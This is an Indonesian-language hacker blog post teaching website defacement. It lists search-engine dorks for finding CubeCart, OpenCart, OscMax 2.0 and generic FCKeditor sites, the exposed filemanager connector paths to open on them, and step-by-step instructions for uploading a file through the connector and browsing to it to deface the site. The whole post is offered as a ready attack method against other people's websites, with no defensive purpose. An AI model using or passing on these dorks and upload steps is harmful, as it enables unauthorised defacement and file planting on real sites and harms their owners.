Tehnik Deface All POC | CubeCard,OpenCart,OscMax V 2.0 dan FckEditor |

Assalamualaikum..teman-teman.
Saya mau menampilkan lagi teknik deface :D
Kali ini, saya akan memberikan kpada anda smua teknikny.
Disini saya akan membahas 4 teknik deface yang mngkin di pakai defacer.
Saya termasuk Org yg anti mnggunkan tools pada saat mendeface website :D
Okay, Langsung aja....cekidot

1. Powered by CubeCard.

2. Powered By OpenCart

3. Powered By OscMax V 2.0

4. Connector Txt

1. Powered CubeCart

Adalah module Deface Upload file, kita bisa menggunakan cara ini.

Dork    : Powered By CubeCart V 3.0

Exploit :  /admin/includes/rte/editor/filemanager/browser/default/connectors/test.html 

Contoh: www.test.com/admin/includes/rte/editor/filemanager/browser/default/connectors/test.html

2. Powered By OpenCart

Dork   :  Powered By OpenCart

Exploit:  admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

Contoh : www.asu.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

3. Powered By OscMax V 2.0

Dork    : Powered By OscMax V 2.0

Exploit : FCKeditor/editor/filemanager/browser/default/connectors/test.html

Contoh ;www.cekcu.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

4. Hacking TXt.

Hacking Txt ini sama saja dengan Konsep 3 di atas it, cuma bedany khusus fiile txt saja yg bisa di upload, bentuk file lain tdk akan mnerima :D 

Dork   : Inurl:/FCKeditor/editor/filemanager/

Exploit : /FCKeditor/editor/filemanager/browser/default/connectors/test.html
Contoh: www.target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html

 

Semua yang saya tulis adalah dalam bntuk FCkeditor, khusus upload file :D

Cara pakainya:

1. Connector >> Pilih "PHP"

2. Klik Upload.

3. Jika Berhasil ada tulisa "file upload No eror"

4. Buka Get Folder utk mndptkan patch URL

5. Jika sudah, ketik nama file yg anda upload tdi.

Contoh : www.contoh.com/userFiles/file/(namafile).html ato www.contoh.com/(namafile).html

Wassalam.. (./Mr. HanzID)
Jangan lupa Sering berkunjung juga ke blog saya yang Lain: ~|Kuroyu-Nee|~